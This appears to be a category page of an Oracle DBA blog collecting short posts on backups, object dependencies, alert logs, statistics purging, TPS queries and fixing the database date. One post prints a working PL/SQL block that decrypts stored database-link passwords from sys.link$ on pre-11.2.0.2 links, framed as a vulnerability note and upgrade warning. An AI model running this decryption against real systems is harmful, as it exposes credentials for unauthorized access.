Category: SQL | PLSQL

Backup and Restore, Database, RAC | Data Guard, SQL | PLSQL, Tools

Backup Not Backuped Archivelogs and Delete Input

Hi all!
Sometimes you are caught in a situation where your database is not backuping archivelogs and need to generate a quick backup commands for those are not backuped yet and deleting it, right?
I saw this situation in this archived discussion at OTN. Unfortunately I couldn’t give my answer… But it’s how I do:

select
'backup archivelog from sequence '||sequence#||' until sequence '||sequence#||' thread '||thread#||' filesperset=1 delete input;',first_time
from v$archived_log where backup_count=0 and name is not null
order by first_time desc;

It generates an output like:

greporadb> select
  2  'backup archivelog from sequence '||sequence#||' until sequence '||sequence#||' thread '||thread#||' filesperset=1 delete input;',first_time
  3  from v$archived_log where backup_count=0 and name is not null
  4  order by first_time desc;
'BACKUPARCHIVELOGFROMSEQUEN                                                                                                                                             
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
backup archivelog from sequence 152153 until sequence 152153 thread 1 filesperset=1 delete input;                                                                       
backup archivelog from sequence 152152 until sequence 152152 thread 1 filesperset=1 delete input;                                                                       
backup archivelog from sequence 152151 until sequence 152151 thread 1 filesperset=1 delete input;                                                                       
3 rows selected.

And be happy!

But an observation! It not works this way for databases with dataguard. For these cases you’ll need to add “and name’&dgname’” at select where clause… 😉

See ya!
Matheus.

Database, SQL | PLSQL

Compilation Impact: Object Dependencies

 ,

Hi all!
It’s not necessarily the DBA function, but how often someone of business came and ask you wich is the impact on recompiling one or other procedure?
It probably happen because the DBA usually make some magic and have a better understanding about objects relationship. It happens specially in cases there is no code governance…

So, you don’t have to handle all responsability and can switch some of that with developer, through DBA_DEPENDENCIES view.

The undertstanding is easy: The depended objects and the refered objects. If ou change the refered, all depended will be impacted by.

GREPORADB> @dependencies
Enter value for owner: GREPORA
Enter value for obj_name: TABLE_EXAMPLE
OWNER              Name                                TYPE       DEPE REFERENCED REFERENCED_OWNER   REFERENCED_NAME                         
------------------ ----------------------------------- ---------- ---- ---------- ------------------ -----------------------------------     
GREPORA            TOTALANSWEREDQUESTIONS              FUNCTION   HARD TABLE      GREPORA            TABLE_EXAMPLE                        
GREPORA            USERRESPONSESTATUS                  FUNCTION   HARD TABLE      GREPORA            TABLE_EXAMPLE                        
GREPORA            VW_INPROGRESSFEEDBACKOPTS           VIEW       HARD TABLE      GREPORA            TABLE_EXAMPLE                        
GREPORA            EVENTSTARTDT                        FUNCTION   HARD TABLE      GREPORA            TABLE_EXAMPLE                        
GREPORA            HAVEUSERANSWEREDANYTHING            FUNCTION   HARD TABLE      GREPORA            TABLE_EXAMPLE

Nice, hãn?

## @dependencies
col owner for a18
col name for a35
col type for a10
col referenced_owner for a18
col referenced_name for a35
col referenced_type for a10
select owner,name,type,dependency_type,referenced_type,referenced_owner,referenced_name from dba_dependencies
where referenced_owner like upper('%&owner%') and referenced_name like upper('%&OBJ_NAME%');

See ya!
Matheus.

Database, SQL | PLSQL

Oracle – Lost user’s password?

Hi everyone,

Sometimes we need to connect to the database using an unusual schema that we don’t even know the password, maybe because it was created through a script in a release or the latest DBA never stored it somewhere public or maybe due to any other reason (whatever, right? you just need to connect there and end of the story), but anyhow, you need to login using this schema specifically (to create/delete synonyms, dblinks, jobs etc…). How would you do that without the password?

shaneharrisonquestionmark1

More“Oracle – Lost user’s password?”

Database, Errors and Bugs, Shell Scripts, SQL | PLSQL

Searching entries on Alert.log: A Better Way

 ,

Hi all!
As the oldest readers know, someday I had to found some entries in the alertlog and I had a really big log. So I jerrry-ringed some scripts for grepping alert with auxiliar files and etc.
I can see the posts here: Grepping Alert by Day  and Grepping Entries from Alert.log.

So… They are functional, but probably the worst ways to get it. I didn’t know and was innocent to not search by the view x$dbgalertext.
There is also possible to write on alert through the procedure SYS.DBMS_SYSTEM.KSDWRT.

Ok, so let me fix this situation with theese two good guys: @write_alert and @find_alert

More“Searching entries on Alert.log: A Better Way”

Database, Errors and Bugs, SQL | PLSQL

ORA-01950 On Insert but not on Create Table

 , , ,

Sounds weird creating table does not raise any error, but inserting a correct tuple in this table raise a permission error, right? Just take a look:

SQL> create table matheusdba.table_test(a number) tablespace TEST_TABLESPACE;
Table created.
SQL> insert into matheusdba.table_test values (1);
insert into matheusdba.table_test values (1)
*
ERROR at line 1:
ORA-01950: no privileges on tablespace 'TEST_TABLESPACE'

More“ORA-01950 On Insert but not on Create Table”

Database, Performance, SQL | PLSQL

Statistics not Being Auto Purged – Splitting Purge

 , , , ,

Hi all!
The post Purge SYSAUX Tablespace,  made on Fabruary 8this, is yet being high accessed. So, if  you’re interested, here it goes another post about:

Last week I supported a database was not purging statistics through MMON job, because is timeouting. Worst than simply that, the database is not purging statistics since 2012 and SYSAUX was huge!
To understand: By default, the MMON performs the automatic purge that removes all history older than:
1) current time – statistics history retention (by default 31 days)
2) time of recent analyze in the system – 1
MMON performs the purge of the optimizer stats history automatically, but it has an internal limit of 5 minutes to perform this job. If the operation takes more than 5 minutes, then it is aborted and stats not purged.

The problem was very clear in alert.log, through the entry:

Unexpected error from flashback database MMON timeout action
Errors in file /oracle/diag/rdbms/oracle/trace/oracle_mmon_1234567.trc:
ORA-12751: cpu time or run time policy violation

But it’s happening since 2012! How to address that?
More“Statistics not Being Auto Purged – Splitting Purge”

Database, Security, SQL | PLSQL

Vulnerability: Decrypting Oracle DBlink password (<11.2.0.2)

 , , , , ,

Hi all,
It’s not a new vulnerability, but a good thing to have personal note about it. Besides the security problem, it can save you from situations you need but don’t have the database link password.
It works only if the database link was created pre-11.2.0.2.

The vulnerability only is exposed if user has one of the follow privileges:
SYS
SYSDBA
DBA
SYS WITHOUT SYSDBA
SYSASM
EXP_FULL_DATABASE
DATAPUMP_EXP_FULL_DATABASE
DATAPUMP_IMP_FULL_DATABASE

combo_lock_page.jpg

Starting with 11.2.0.2, Oracle changed the hashes format for database link passwords, solving this vulnerability. But it only apply to dblinks created in this version or higher.
If you have dblink created when database was on 11.2.0.1, for example, and upgrade the database for 11.2.0.4, the problem remains until you recreate the database link.

So, if you are upgrading database from 11.2.0.1 or lower to 11.2.0.2 or higher, remember to reacreate database links!

The vulnerability was exposed in 2012 by Paul Wright. Here is his PoC.
And there is his post.

To make it different, below I made the same test (using a PLSQL block, to make it prettier) with an upgraded database, from 11.2.0.1 to 11.2.0.4:

testdb11204> select passwordx from sys.link$ where name='MY_DBLINK';

PASSWORDX
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0540C5B8090D021649C5C614E8E0C242AF33F71C08C535900C
1 row selected.
testdb11204> set serveroutput on
testdb11204> declare
2   db_link_password varchar2(100);
3  begin
4   db_link_password := '0540C5B8090D021649C5C614E8E0C242AF33F71C08C535900C';
5   dbms_output.put_line ('Password: ' || utl_raw.cast_to_varchar2 ( dbms_crypto.decrypt ( substr (db_link_password, 19) , dbms_crypto.DES_CBC_PKCS5 , substr (db_link_password, 3, 16) ) ) );
6  end;
7  /
Password: P4SSW0RD

Note that the simple upgrade does not solve the question. Is needed to recreate database link.

Matheus.

Database, Performance, SQL | PLSQL, Tools

TPS Chart on PL/SQL Developer

 , , ,

Hi all,
Since last post, some people asked me about how to make the charts using PL/SQL Developer. It basically works for every kind of query/data, like MS Excel.
I’d recommend you to use with historic data, setting time as “X” axis.

Here the example for the post Oracle TPS: Evaluating Transaction per Second:

PLSQL_Graph

And get:

7days_tps

PL/SQL Developer  is a commercial tool of Allround Automations.
You can access more information about licensing here.

Have a nice day!
Matheus.

Database, Performance, SQL | PLSQL

Oracle TPS: Evaluating Transaction per Second

 , , , , ,

Sometimes this information has some ‘myth atmosphere’… Maybe because of that Oracle doesn’t have this information very clear and it’s not the most useful metric.
But for comparison to another systems and also to performance/’throughput’ with different infrastructure/database configuration, it can be useful.

It can be seen by AWR on “Report Summary” section, on “Load Profile”, “Transactions” item:

awr_tps

But if you want to calculate it through SQL query?
And if you want to have a historic from this metric?

I found a reference for this calculation here, using v$sysstat.
It’s the only reference I found, and it on 10g documentation… It refers this metric as:

Number of Transactions = (DeltaCommits+DeltaRollbacks)/Time

It also refers as DeltaCommits and DeltaRollbacks, respectively, “user commits” and user “rollbacks”.

Where it goes a possible SQL to do that:

WITH hist_snaps
AS (SELECT instance_number,
snap_id,
round(begin_interval_time,'MI') datetime,
(  begin_interval_time + 0 - LAG (begin_interval_time + 0)
OVER (PARTITION BY dbid, instance_number ORDER BY snap_id)) * 86400 diff_time
FROM dba_hist_snapshot), hist_stats
AS (SELECT dbid,
instance_number,
snap_id,
stat_name,
VALUE - LAG (VALUE) OVER (PARTITION BY dbid,instance_number,stat_name ORDER BY snap_id)
delta_value
FROM dba_hist_sysstat
WHERE stat_name IN ('user commits', 'user rollbacks'))
SELECT datetime,
ROUND (SUM (delta_value) / 3600, 2) "Transactions/s"
FROM hist_snaps sn, hist_stats st
WHERE     st.instance_number = sn.instance_number
AND st.snap_id = sn.snap_id
AND diff_time IS NOT NULL
GROUP BY datetime
ORDER BY 1 desc;

I like to use PL/SQL Developer to see this kind of data. And it regards us to make very good charts very quickly. I try it in a small database here, just for example:

7days_tps

Jedi Master Jonathan Lewis wrote a good post about Transactions and this kind of AWR metric here.

See ya!
Matheus.

Database, SQL | PLSQL

Alter (Fix) Oracle Database Date

 , , ,

When you haven’t access to SO and just have to alter database date…

# Fix Date:

ALTER SYSTEM SET fixed_date = '2016-04-05-12:00:00';

# Unfix Date:

ALTER SYSTEM SET fixed_date = NONE;

 

OBS: Just to make it clear: The date will be really “fixed”. The time will “stop”. Seconds, minutes will not advance…
Matheus.